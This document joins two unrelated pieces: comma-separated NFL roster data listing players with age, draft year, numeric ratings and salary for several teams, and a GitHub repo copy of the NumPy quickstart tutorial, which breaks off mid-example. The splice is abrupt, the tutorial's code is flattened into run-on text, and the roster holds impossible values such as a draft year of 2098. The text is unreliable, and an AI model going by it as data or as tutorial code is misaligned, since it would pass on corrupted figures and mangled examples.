Robertson,28,2011,60,80,87,86,75,80,1.7,3 LB,Davis Tull,24,2015,78,42,68,78,66,61,0.6,4 LB,Hau'oli Kikaha,23,2015,88,60,78,72,87,55,1.3,4 LB,Kasim Edebali,26,2014,62,64,91,71,80,65,0.5,3 LB,Dannell Ellerbe,30,2009,57,82,85,74,67,82,2.5,2 END_PLAYERS Tampa Bay Buccaneers,TB QB,Jameis Winston,22,2015,103,69,97,95,75,65,6.3,4 QB,Mike Glennon,26,2013,86,69,96,93,73,20,0.8,4 RB,Mike James,25,2013,71,65,85,76,87,64,0.6,2 RB,Doug Martin,27,2012,85,75,88,67,88,74,7.2,5 RB,Storm Johnson,23,2014,73,62,93,83,85,53,0.6,2 RB,Charles Sims,25,2014,87,65,84,64,89,77,0.8,4 WR,Freddie Martino,24,2014,64,50,90,77,89,79,0.5,1 WR,Mike Evans,22,2014,102,74,96,102,87,74,3.7,4 WR,Louis Murphy Jr,29,2009,65,78,78,77,91,87,1.6,3 WR,Kenny Bell,24,2015,78,58,86,76,93,73,0.6,4 WR,Austin Seferian-Jenkins,23,2014,87,48,83,80,86,58,1.3,4 WR,Luke Stocker,27,2011,79,72,83,66,80,44,1.6,3 WR,Vincent Jackson,33,2005,78,90,88,91,84,48,11.1,5 WR,Russell Shepard,25,2013,61,49,93,79,89,72,1.7,1 WR,Bernard Reedy,24,2014,64,61,90,80,88,81,0.5,2 WR,Evan Spencer,23,2015,74,52,91,74,91,63,0.5,2 OL,Demar Dotson,30,2009,57,82,92,87,79,91,1.5,3 OL,Kevin Pamphile,25,2014,77,65,93,82,85,74,0.6,4 OL,Evan Smith,29,2009,58,82,88,86,87,76,3.6,4 OL,Donovan Smith,22,2015,88,55,87,87,84,79,1.5,4 OL,Joe Hawley,27,2010,78,74,90,83,78,81,1.7,2 OL,Josh Allen,24,2014,64,50,90,89,78,74,0.6,2 OL,Andre Davis,22,2015,64,45,93,82,71,82,0.5,2 OL,Ali Marpet,23,2015,88,49,90,86,82,76,0.9,4 OL,Gosder Cherilus,31,2008,86,87,87,88,82,73,3.5,2 OL,JR Sweezy,27,2012,65,77,82,84,87,72,6.5,5 K,Bryan Anger,27,2012,85,78,97,95,92,72,1.8,1 K,Roberto Aguayo,22,2016,90,65,85,95,95,75,1,4 S,Major Wright,27,2010,78,71,95,71,90,87,1.5,2 S,Bradley McDougald,25,2013,65,72,89,80,84,59,2.6,1 S,Gerod Holliman,22,2015,65,42,86,82,90,62,0.5,2 S,Keith Tandy,27,2012,75,61,93,79,93,70,0.9,2 CB,Johnthan Banks,26,2013,86,75,97,84,88,63,1.2,4 CB,Mike Jenkins,31,2008,65,75,92,74,92,44,0.8,1 CB,Brent Grimes,32,2006,55,91,90,85,91,47,6.8,2 CB,Alterraun Verner,27,2010,78,89,91,93,89,42,6.4,4 CB,Vernon Hargreaves III,21,2016,95,65,85,87,95,70,3.5,4 DL,Cliff Matthews,26,2011,65,60,84,76,74,67,0.8,2 DL,George Johnson,28,2010,60,74,82,67,74,64,2.3,3 DL,Akeem Spence,24,2013,81,70,95,90,67,74,0.7,4 DL,William Gholston,24,2013,76,66,87,77,82,76,0.6,4 DL,Robert Ayers,30,2009,87,74,87,79,89,70,6.5,3 DL,Tony McDaniel,31,2006,65,82,88,88,81,78,1.5,1 DL,AJ Francis,26,2013,62,49,90,79,73,87,0.6,1 DL,Jacquies Smith,26,2012,62,69,84,69,69,64,0.6,1 DL,Henry Melton,29,2010,65,83,74,83,86,69,3.8,1 DL,Larry English,30,2009,65,71,79,72,62,70,0.9,1 DL,Clinton McDonald,29,2009,63,78,86,83,84,75,3,4 DL,Gerald McCoy,28,2010,98,80,78,102,98,87,15.9,6 DL,TJ Fatinikun,24,2014,65,63,82,74,67,65,0.5,2 LB,Kwon Alexander,21,2015,83,42,84,77,68,40,0.7,4 LB,Danny Lansanah,30,2008,65,78,90,86,72,79,0.7,1 LB,Daryl Smith,34,2004,77,95,88,92,78,95,2.5,1 LB,Jeremiah George,24,2014,77,56,92,84,68,70,0.6,1 LB,Adarius Glanton,25,2014,63,54,90,79,64,56,0.6,2 LB,Kourtnei Brown,28,2012,63,55,83,79,77,65,0.5,2 LB,Lavonte David,26,2012,85,88,97,107,95,105,10.1,5 END_PLAYERS Arizona Cardinals,ARZ QB,Matt Barkley,25,2013,81,54,87,84,75,37,0.7,4 QB,Drew Stanton,32,2007,80,69,86,89,72,30,3.3,2 QB,Carson Palmer,36,2003,91,86,74,88,83,20,16.5,3 RB,Stepfan Taylor,25,2013,76,67,97,86,79,65,0.6,4 RB,Chris Johnson,30,2008,86,80,80,70,95,85,1.5,1 RB,Kerwynn Williams,25,2013,67,58,91,54,88,88,0.6,2 RB,Andre Ellington,27,2013,71,75,76,59,90,72,0.6,4 WR,JJ Nelson,24,2015,78,51,78,77,96,77,0.6,4 WR,John Brown,26,2014,82,75,87,87,94,90,0.7,4 WR,Larry Fitzgerald,32,2004,92,95,94,93,82,54,11,2 WR,Darren Fells,30,2013,62,61,90,76,73,50,0.6,1 WR,Brittan Golden,27,2012,62,55,92,77,88,82,0.5,3 WR,Jaron Brown,26,2013,61,67,90,80,91,72,1.7,1 WR,Michael Floyd,26,2012,90,79,89,90,88,65,2.5,4 OL,Jared Veldheer,29,2010,83,85,95,97,87,94,7,5 OL,Mike Iupati,29,2010,88,83,90,97,97,74,8,5 OL,AQ Shipley,30,2009,65,77,87,87,86,78,0.8,2 OL,Taylor Boggs,29,2011,60,70,85,86,78,71,0.7,1 OL,Earl Watford,25,2013,81,63,95,85,81,73,0.6,4 OL,DJ Humphries,22,2015,93,53,82,88,79,87,2.2,4 OL,Antoine McClain,26,2012,63,62,85,81,77,72,0.5,1 K,Drew Butler,27,2012,61,70,95,84,94,70,1.2,2 K,Chandler Catanzaro,25,2014,62,73,93,95,91,70,0.5,3 S,Deone Bucannon,23,2014,87,60,94,67,61,74,1.9,4 S,Tyvon Branch,29,2008,76,81,84,85,94,74,4,2 S,Tyrann Mathieu,24,2013,86,70,84,95,92,84,0.8,4 S,DJ Swearinger,24,2013,86,59,91,75,89,93,1.7,1 S,Tony Jefferson,24,2013,61,73,82,70,87,85,1.7,1 S,Chris Clemons,30,2009,72,74,94,75,94,83,0.9,1 CB,Carrington Byndom,23,2014,63,48,93,78,93,35,0.5,1 CB,Justin Bethel,26,2012,70,67,93,78,88,65,5,3 CB,Asa Jackson,26,2012,75,62,85,72,91,40,0.8,1 CB,Shaun Prater,26,2012,75,59,88,81,90,41,0.7,1 CB,Patrick Peterson,25,2011,99,82,97,105,92,72,14,5 DL,Frostee Rucker,32,2006,74,88,88,81,80,79,2.2,1 DL,Olsen Pierre,24,2015,64,53,90,75,75,81,0.5,1 DL,Chandler Jones,26,2012,90,77,84,92,105,85,2,4 DL,Calais Campbell,29,2008,81,88,96,87,75,85,11,5 DL,Kareem Martin,24,2014,82,60,91,81,78,55,0.7,4 DL,Robert Nkemdiche,21,2016,90,65,85,93,79,85,2.2,4 DL,Josh Mauro,25,2014,62,61,95,85,71,78,0.6,1 DL,Corey Peters,28,2010,78,81,88,78,80,74,3.1,3 DL,Rodney Gunter,24,2015,83,46,88,75,69,81,0.7,4 DL,Ed Stinson,26,2014,77,56,79,88,78,83,0.6,4 LB,Kevin Minter,25,2013,86,73,85,88,64,80,1.1,4 LB,LaMarr Woodley,31,2007,65,82,87,76,84,80,1,1 LB,Shaquille Riddick,23,2015,78,48,88,69,65,52,0.6,4 LB,Jason Babin,36,2004,65,86,88,82,87,72,1,1 LB,Daryl Washington,29,2010,85,71,91,91,73,80,8,4 LB,Alex Okafor,25,2013,81,73,95,68,85,72,0.7,4 LB,Markus Golden,25,2015,88,47,90,73,82,69,1,4 LB,Kenny Demens,26,2013,65,63,92,79,70,68,0.5,2 END_PLAYERS Los Angeles Rams,LA QB,Sean Mannion,24,2015,83,56,89,88,76,37,0.8,4 QB,Nick Foles,27,2012,80,73,85,90,79,20,12.3,2 QB,Case Keenum,28,2012,60,65,79,83,74,20,3.6,1 QB,Jared Goff,21,2016,105,75,85,93,89,80,7,4 QB,Dylan Thompson,24,2015,64,49,90,86,77,76,0.5,1 RB,Todd Gurley,21,2015,93,54,73,101,101,90,3.5,4 RB,Benny Cunningham,25,2013,61,72,84,84,87,52,1.7,1 RB,Terrence Magee,23,2015,64,39,88,74,87,83,0.5,1 RB,Tre Mason,22,2014,82,70,88,75,88,82,0.7,4 RB,Chase Reynolds,28,2011,61,65,85,66,84,81,0.9,1 WR,Tavon Austin,25,2013,101,76,93,77,95,94,3.2,4 WR,Deon Long,25,2015,64,46,82,81,89,64,0.5,2 WR,Cory Harkey,26,2012,60,78,95,78,68,45,1.9,3 WR,Lance Kendricks,28,2011,84,74,94,79,81,63,4.6,4 WR,Kenny Britt,27,2009,82,81,82,87,85,72,4.6,2 WR,Stedman Bailey,25,2013,81,71,94,84,87,80,0.7,4 WR,Brian Quick,27,2012,85,74,87,84,87,67,1.8,1 OL,Garrett Reynolds,28,2009,72,76,97,86,82,74,1.1,2 OL,Rodger Saffold,28,2010,83,83,84,84,74,86,6.3,5 OL,Cody Wichmann,24,2015,73,50,92,79,74,76,0.6,4 OL,Greg Robinson,23,2014,102,74,95,94,88,73,5.3,4 OL,Tim Barnes,28,2011,60,73,90,80,76,82,2.8,2 OL,Rob Havenstein,24,2015,88,58,90,79,88,71,1,4 OL,Demetrius Rhaney,23,2014,67,50,92,83,75,79,0.6,4 OL,Jamon Brown,23,2015,88,63,91,87,84,73,0.8,4 OL,Eric Kush,26,2013,76,70,87,79,79,76,1.3,1 OL,David Arkin,28,2011,82,46,89,91,79,77,0.7,2 OL,Andrew Donnal,24,2015,83,64,84,77,78,72,0.7,4 OL,Brian Folkerts,26,2012,61,61,95,91,79,75,0.7,1 K,Greg Zuerlein,28,2012,75,74,95,95,88,70,1.3,1 K,Johnny Hekker,26,2012,60,79,94,97,97,75,3,6 S,LaMarcus Joyner,25,2014,87,62,93,75,93,80,1.3,4 S,TJ McDonald,25,2013,86,72,84,74,91,91,0.7,4 S,Maurice Alexander,25,2014,65,38,89,71,90,87,0.7,4 S,Christian Bryant,24,2014,68,36,79,74,86,78,0.5,2 S,Mark Barron,26,2012,100,73,81,69,67,69,9,5 S,Cody Davis,27,2013,61,55,90,72,92,63,1.5,2 CB,EJ Gaines,24,2014,72,74,90,85,89,59,0.6,4 CB,Marcus Roberson,23,2014,62,47,82,82,90,60,0.5,3 CB,Coty Sensabaugh,27,2012,80,67,95,78,91,42,5,3 CB,Trumaine Johnson,26,2012,85,72,87,77,86,74,14,1 DL,Aaron Donald,25,2014,92,76,95,103,92,87,2.5,4 DL,Ethan Westbrooks,25,2014,62,50,90,75,68,67,0.5,3 DL,Dominique Easley,24,2014,88,62,74,82,84,83,0.6,1 DL,Robert Quinn,26,2011,89,82,92,97,97,79,14.3,4 DL,William Hayes,31,2008,76,80,93,85,83,86,5.8,3 DL,Cam Thomas,29,2010,74,74,87,94,77,85,0.5,1 DL,Eugene Sims,30,2010,68,72,88,74,67,64,3.3,3 DL,Michael Brockers,25,2012,90,74,95,94,82,92,2.4,4 LB,Quinton Coples,25,2012,90,77,93,83,87,72,3.3,2 LB,Alec Ogletree,24,2013,86,74,87,90,66,75,1.8,4 LB,Bryce Hager,24,2015,73,62,83,83,47,75,0.6,4 LB,Akeem Ayers,26,2011,84,74,95,81,84,75,3,2 END_PLAYERS Seattle Seahawks,SEA QB,Russell Wilson,27,2012,80,84,94,103,95,97,21.9,4 QB,Tarvaris Jackson,33,2006,80,67,81,93,70,62,1.5,1 RB,Derrick Coleman,25,2012,55,72,87,82,87,61,0.5,3 RB,Christine Michael,25,2013,86,65,80,89,90,65,0.7,1 RB,Fred Jackson,35,2003,65,92,85,87,81,65,0.9,1 RB,Thomas Rawls,22,2015,63,47,86,82,90,60,0.5,3 RB,Bryce Brown,25,2010,65,65,86,84,88,67,0.7,1 WR,Jermaine Kearse,26,2012,60,79,96,86,89,75,4.5,3 WR,George Farmer,22,2015,64,48,75,77,92,55,0.5,1 WR,Antwan Goodley,24,2015,63,51,86,82,91,82,0.5,1 WR,Doug Baldwin,27,2011,59,85,92,88,87,86,4.3,3 WR,Tyler Lockett,23,2015,88,63,81,82,92,87,0.8,4 WR,Paul Richardson,24,2014,87,66,77,82,94,76,1.2,4 WR,Jimmy Graham,29,2010,78,87,92,102,85,60,10,4 OL,Patrick Lewis,25,2013,61,62,95,84,71,76,1.7,1 OL,Kristjan Sokoli,24,2015,73,37,90,89,75,65,0.6,4 OL,Mark Glowinski,24,2015,78,55,92,91,80,76,0.7,4 OL,Justin Britt,25,2014,87,72,85,86,84,72,0.9,4 OL,Garry Gilliam,25,2014,62,60,84,77,80,75,0.5,3 OL,Bradley Sowell,27,2012,60,77,91,79,78,76,1,1 OL,J'Marcus Webb,27,2010,68,73,93,90,77,78,2.9,2 OL,Lemuel Jeanpierre,29,2011,65,74,92,83,79,75,0.7,1 OL,Germain Ifedi,22,2016,90,65,85,85,90,83,2.1,4 OL,Terry Poole,24,2015,78,49,93,83,72,82,0.5,1 K,Steven Hauschka,30,2008,56,83,90,89,93,65,2.9,3 K,Jon Ryan,34,2006,54,87,88,89,94,69,2.5,4 S,Kelcie McCray,27,2012,61,65,90,72,87,52,0.7,2 S,Deshawn Shead,27,2012,60,68,90,73,88,73,0.8,1 S,Kam Chancellor,28,2010,73,85,94,82,86,107,7,4 S,Earl Thomas III,27,2010,88,86,93,106,92,72,10,4 CB,Brandon Browner,31,2005,58,87,88,92,80,73,0.8,1 CB,Jeremy Lane,25,2012,75,75,90,85,88,72,5.8,4 CB,Eric Pinkins,24,2014,72,52,92,67,54,66,0.5,1 CB,Stanley Jean-Baptiste,26,2014,87,46,93,83,91,61,0.5,1 CB,Marcus Burley,25,2013,61,67,93,85,94,55,0.6,1 CB,Tye Smith,23,2015,78,43,94,78,89,60,0.6,4 CB,Richard Sherman,28,2011,74,97,96,109,89,65,14,4 CB,Steven Terrell,25,2013,61,50,90,77,91,70,0.6,1 CB,Tharold Simon,25,2013,76,68,85,81,89,80,0.6,4 DL,Sealver Siliga,27,2011,59,78,90,88,80,90,1.1,1 DL,Michael Bennett,30,2009,84,87,87,101,94,87,7.1,2 DL,Jordan Hill,25,2013,81,68,93,84,76,74,0.7,4 DL,Cassius Marsh,23,2014,82,53,92,66,80,69,0.7,4 DL,Frank Clark,23,2015,88,39,86,73,84,77,0.9,4 DL,Ryan Robinson,25,2013,61,57,87,67,62,65,0.6,2 DL,Cliff Avril,30,2008,76,87,93,73,76,64,7.1,4 DL,Demarcus Dobbs,28,2011,65,73,91,84,78,74,0.8,1 DL,Ahtyba Rubin,29,2008,66,85,90,93,71,79,4,3 DL,Justin Hamilton,22,2015,63,50,87,85,83,62,0.5,1 LB,Nick Moody,26,2013,65,68,77,77,71,75,0.6,1 LB,KJ Wright,26,2011,79,86,95,91,78,85,6.8,4 LB,Khairi Fortt,24,2014,78,57,78,73,68,64,0.5,1 LB,Bobby Wagner,25,2012,85,86,94,97,86,90,10.8,4 LB,Kevin Pierre-Louis,24,2014,77,62,85,80,72,54,0.7,4 LB,Brock Coyle,25,2014,62,67,93,79,62,71,0.5,3 END_PLAYERS San Francisco 49ers,SF QB,Colin Kaepernick,28,2011,84,75,95,95,78,80,19,6 QB,Thad Lewis,28,2010,61,65,92,88,70,57,0.8,1 QB,Blaine Gabbert,26,2011,89,65,90,88,72,47,2,2 RB,Shaun Draughn,28,2011,61,72,87,80,82,65,0.9,1 RB,Mike Davis,23,2015,78,55,77,84,88,65,0.7,4 RB,Bruce Miller,28,2011,69,78,93,66,81,35,1.8,3 RB,Carlos Hyde,24,2014,87,69,92,90,85,66,0.9,4 WR,Jerome Simpson,30,2008,83,75,92,78,87,85,0.9,2 WR,DeAndre Smelter,24,2015,79,48,73,79,87,77,0.7,4 WR,Dres Anderson,23,2015,63,62,75,80,88,84,0.5,3 WR,Quinton Patton,25,2013,76,54,90,82,87,85,0.6,4 WR,Vance McDonald,26,2013,86,66,88,73,81,52,0.9,4 WR,Torrey Smith,27,2011,84,86,93,88,89,83,8,5 WR,Bruce Ellington,24,2014,82,53,91,83,90,88,0.7,4 OL,Erik Pears,34,2005,55,78,93,86,70,80,2.9,2 OL,Daniel Kilgore,28,2011,74,76,88,89,90,77,1.8,3 OL,Joe Staley,31,2007,80,95,91,88,97,90,7.4,6 OL,Ian Silberman,23,2015,73,49,87,81,81,72,0.6,4 OL,Brandon Thomas,25,2014,83,54,76,93,83,76,0.7,4 OL,Andrew Tiller,26,2012,71,55,91,79,81,72,0.6,2 OL,Marcus Martin,22,2014,87,68,83,82,85,74,0.8,4 OL,Joshua Garnett,22,2016,90,65,85,85,91,80,2.3,4 OL,Zane Beadles,29,2010,83,81,93,83,74,89,3.3,3 K,Phil Dawson,41,2098,48,93,85,92,89,60,3.1,1 K,Bradley Pinion,22,2015,78,55,92,91,78,74,0.6,4 S,Eric Reid,24,2013,91,67,90,82,94,93,2.1,4 S,LJ McCray,25,2014,62,40,88,69,92,75,0.5,3 S,Antoine Bethea,31,2006,64,91,96,85,88,80,5.3,4 S,Jimmie Ward,24,2014,87,59,95,71,90,77,1.8,4 S,Jaquiski Tartt,24,2015,88,45,92,66,90,84,1.3,4 CB,Keith Reaser,24,2014,78,38,76,74,88,45,0.6,4 CB,Chris Davis,25,2014,62,60,93,76,87,78,0.6,2 CB,Tramaine Brock,27,2010,58,76,93,79,90,52,3.5,4 CB,Kenneth Acker,24,2014,72,47,91,79,89,42,0.6,4 CB,Dontae Johnson,24,2014,77,60,92,84,92,60,0.7,4 CB,Marcus Cromartie,25,2013,62,49,90,79,89,55,0.6,2 DL,DeForest Buckner,22,2016,105,65,85,91,86,81,4.5,4 DL,Arik Armstead,22,2015,93,48,87,85,81,91,2.5,4 DL,Tony Jerod-Eddie,26,2012,62,75,91,83,79,82,1,1 DL,Glenn Dorsey,30,2008,96,77,88,86,64,75,4.4,2 DL,Kaleb Ramsey,27,2014,68,52,72,94,78,84,0.6,2 DL,Quinton Dial,25,2013,76,70,85,87,79,86,4.2,3 DL,Ian Williams,26,2011,59,76,83,93,78,87,3,1 LB,Ahmad Brooks,32,2006,74,83,87,87,78,78,6.7,6 LB,Aaron Lynch,23,2014,77,75,88,77,91,70,0.6,4 LB,Eli Harold,22,2015,83,49,92,77,72,54,0.8,4 LB,Navorro Bowman,28,2010,78,89,87,97,81,88,9.1,5 LB,Gerald Hodges,25,2013,81,78,88,89,58,80,0.6,4 LB,Nick Bellore,27,2011,59,70,87,86,64,72,0.8,2 LB,Michael Wilhoite,29,2011,60,77,90,83,66,82,1.7,1 LB,Corey Lemonier,24,2013,81,63,90,73,61,65,0.7,4 END_PLAYERS
GitHub Repo https://github.com/Aryia-Behroziuan/numpy

Aryia-Behroziuan/numpy

Quickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 